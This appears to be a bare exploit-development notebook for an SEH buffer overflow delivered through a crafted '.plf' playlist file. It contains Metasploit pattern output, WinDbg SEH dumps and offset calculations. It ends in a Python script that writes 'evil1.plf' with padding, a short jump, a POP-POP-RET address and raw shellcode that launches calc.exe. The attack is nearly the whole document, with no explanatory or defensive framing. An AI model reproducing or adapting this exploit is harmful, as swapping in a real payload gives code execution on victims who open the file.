find pattern

daniel@daniel-mint ~/msf/metasploit-framework/tools $ ruby pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

0:000> db poi(fs:0)
0012f2c8  32 41 75 33 41 75 34 41-75 35 41 75 36 41 75 37  2Au3Au4Au5Au6Au7
0012f2d8  41 75 38 41 75 39 41 76-30 41 76 31 41 76 32 41  Au8Au9Av0Av1Av2A
0012f2e8  76 33 41 76 34 41 76 35-41 76 36 41 76 37 41 76  v3Av4Av5Av6Av7Av
0012f2f8  38 41 76 39 41 77 30 41-77 31 41 77 32 41 77 33  8Av9Aw0Aw1Aw2Aw3
0012f308  41 77 34 41 77 35 41 77-36 41 77 37 41 77 38 41  Aw4Aw5Aw6Aw7Aw8A
0012f318  77 39 41 78 30 41 78 31-41 78 32 41 78 33 41 78  w9Ax0Ax1Ax2Ax3Ax
0012f328  34 41 78 35 41 78 36 41-78 37 41 78 38 41 78 39  4Ax5Ax6Ax7Ax8Ax9
0012f338  41 79 30 41 79 31 41 79-32 41 79 33 41 79 34 41  Ay0Ay1Ay2Ay3Ay4A

Prelude> zip [1..100] [‘a‘..‘z‘]
[(1,‘a‘),(2,‘b‘),(3,‘c‘),(4,‘d‘),(5,‘e‘),(6,‘f‘),(7,‘g‘),(8,‘h‘),(9,‘i‘),(10,‘j‘),(11,‘k‘),(12,‘l‘),(13,‘m‘),(14,‘n‘),(15,‘o‘),(16,‘p‘),(17,‘q‘),(18,‘r‘),(19,‘s‘),(20,‘t‘),(21,‘u‘),(22,‘v‘),(23,‘w‘),(24,‘x‘),(25,‘y‘),(26,‘z‘)]

Prelude> zip [601..700] [‘A‘,‘u‘,‘0‘,‘A‘,‘u‘,‘1‘,‘A‘,‘u‘,‘2‘,‘A‘,‘u‘,‘3‘]
[(601,‘A‘),(602,‘u‘),(603,‘0‘),(604,‘A‘),(605,‘u‘),(606,‘1‘),(607,‘A‘),(608,‘u‘),(609,‘2‘),(610,‘A‘),(611,‘u‘),(612,‘3‘)]

filename="evil.plf"

buffer = "A"*608 + "B"*4 + "C"*4 + "D"*(2000 - 608 - 8 - 8)

textfile = open(filename , ‘w‘)
textfile.write(buffer)
textfile.close()

0:000> dd poi(fs:0)
0012f2c8  42424242 43434343 44444444 44444444
0012f2d8  44444444 44444444 44444444 44444444
0012f2e8  44444444 44444444 44444444 44444444
0012f2f8  44444444 44444444 44444444 44444444
0012f308  44444444 44444444 44444444 44444444
0012f318  44444444 44444444 44444444 44444444
0012f328  44444444 44444444 44444444 44444444
0012f338  44444444 44444444 44444444 44444444

filename="evil1.plf"
 
buf = "A"*608 + "\xeb\x06\x90\x90" + "\xb6\xf7\x47\x00"
buf += "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
buf += "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
buf += "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"
buf += "\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0"
buf += "\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b"
buf += "\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01"
buf += "\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2"
buf += "\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
buf += "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b"
buf += "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86"
buf += "\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b"
buf += "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd"
buf += "\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
buf += "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
buf += "\x2e\x65\x78\x65\x00"
buf += "D"*(2000 - 608 - 8 - 8 - 200)

  
textfile = open(filename , ‘w‘)
textfile.write(buf)
textfile.close()